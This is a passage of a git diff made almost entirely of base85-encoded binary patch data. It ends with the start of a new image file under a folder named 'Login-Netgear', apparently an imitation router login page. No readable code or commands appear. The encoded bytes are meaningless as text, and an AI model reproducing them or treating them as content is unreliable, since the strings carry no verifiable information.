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 Vjny#ECV^zvBxS4c-6PoQ{{X9L_=o@i literal 0 HcmV?d00001 diff --git a/sites/Login-Netgear/img/genie_disable_wifi_setup.gif b/sites/Login-Netgear/img/genie_disable_wifi_setup.gif new file mode 100644 index 0000000000000000000000000000000000000000..05f01405ef2589b84c4a236c6281b3b667013d36 GIT binary patch literal 105075 zcmWh!2T;>b6aA$pBtU2(AV}y{NNCc8gx(2Kq-v-Ff+EsH(S%S!4^074qk={h4MhYL z4OO~`s3__`2qGdPDgug{&u?e$X6N>9=4Nj0cJA$aPA-mS=3z^ab=N)GTENvZx8$yb+Yv0%yGdEYq&@_^C{P*7viyuG!S^0~> zN{lYQ8h`%m*RsjqFRbo?f!U7>FJ8a?`z6i2^+ZNa?%yRBqPc~>py;c-db;47!_`gUTJKstFI?$YR^CVR8(2n)ZQ-K z?07l$dU5OXQLXH3-wL;&;9%Xuf98SP=kHTP4@lwVjv2AA($d2JP)D^2WA!p-I_9bE zjKsm(hm9kxRrlfyvs?Qg{CNAv)!VoHOvB$dGKv-rk=-f8E&leMmL?(bFfOd@D6Q1L1SfK-H7A z4}iUgm%HD-@$o0&I>(yc3?`@*ZO*oCM9v>v;o_J2Gfm zv8FaQ8;fhvM~}woCW~M(!CLgSCD}BUQm?Qu;XC&rg+zP5eP7-}zfS&k2n>qUEnNR3 zB12H}H3^SZP1Yb9XqY6Y>gMn&`!1%m*m=52U?k7QHM0L}WhY(`$4lD<`kl+W>=EG0 z=S*a%=I-XiT>JbeO1Vt9EfoH1{{dJm_MeN#ONye<+uPd-TDd~uW`b7Mws8C6^NvlS zFhP$ItCuAdei!}+jn!fZXMt_u=Jvle+uNJMpPSpigtM@J?l0ljBYLdu|A1Jnyv_ed zH@^vmUxi!0W`S6}JmL1Y@7q6r{l6D({|DQig-J`}*Is`;sdZud1MpBV`KWU+(WLD6 zvV@lx^)+8Wk79j)3VeToR8msj`~dv3f7|_M%0jfKgRhSrh3a6aPlSN}1(bh6VbXvQ z(EIRRXAe0iV{Zxr`>sQJpHQi5H9f=f&N zaD|pnW5{qz!{}LJ#7Lb>>(%jdX2+Ia54T=>e38r)QFLwNKDpvtp%XgNcKzu!>J``X zu6G)r-3Vxndoyz9#*5puz5+$J_M0zTW1cpKjUP1sv*rD0wb7xsW1X!Z9&_vpcY1WSeSFIGxv_t| z>&~Yayok{Y9{1Wm&vqR9^mhE--7o*~nP?@?`yF5BhbnXrOx*AM{$cWp+eOdrt{)?BunitMfnNL4 zyF%ii)_jri^O*T!vqkQFiPgr^d?^{Oy}-7|#V(XNYg}I_cQ^eQd2(dS2;(s8uB}e; zxBj`4^jE;_9djmG%;&@TzR3KBb6@TZe>ew@ zk}ESDnfZC}#HpRX%4>YYA{Ompb#$~@v(k|VFN>0bKGxR-#n3@`x_lg$bINu3`qivv zk4xvx;xHZ@LuLaO44`VV2VXWpA`XP9H}`i6a^7(8J>#N!LKEq4LuR5zBAz9c^-+@78-mT z+z>%Vh*k?f-&JjFy9|a1yY4r?!FzO;zTTW@bg&U6Sns{_MWlZG)m{;iuOY`%Fd|X0}vh(}L8T!tQzX`DHTnX5REFIZS%z(j+`V{{=~g%dtgX;C=(?5!xi7 zNP4~X42g>TEZRIZI;ux|s4EVEGisLKgn)*)&SPs%&cV-jx-h*&z;`;%I z#mLg-_g)A8Bv!*s!W$CkkChI^kPWOk5G(tFL&q=ScD4~gp>zR6DG@-PA~Fb=l2fW< zl{P|a@{NGZwT!lc5bUlg^8=mk5CZ}kken3Rb&>{`Be1>*lC)0?<`4nZd{Lh@h9Vq< zwh0M$z)^3g>g(-OCD7$by;mb>d?}E#9XOm*sKi$R4$b&hx6j~WL?LhrvL6~w?=$?i zhKLOr1OG89g08FjZ!zBtRhl^!&~AcD1Ni!$-e`m`3A;h$i^M$V;!{!Z_Qbqhg8`0d zA;j_mZ6`V_%;iLsWXVQ(gr>SJCVUJ70VR^9lF0=ICkgO9dQ7BoVsCe{Cv*=6syf`! zhx$zb@MiGyxTmg0ps#zXtS%2(rR#=?NvVXW42n>(*-F#BhAfYZRrl^6e}G;gg*R=50$l5km^NVCYsPpdc@6n%vth(3te 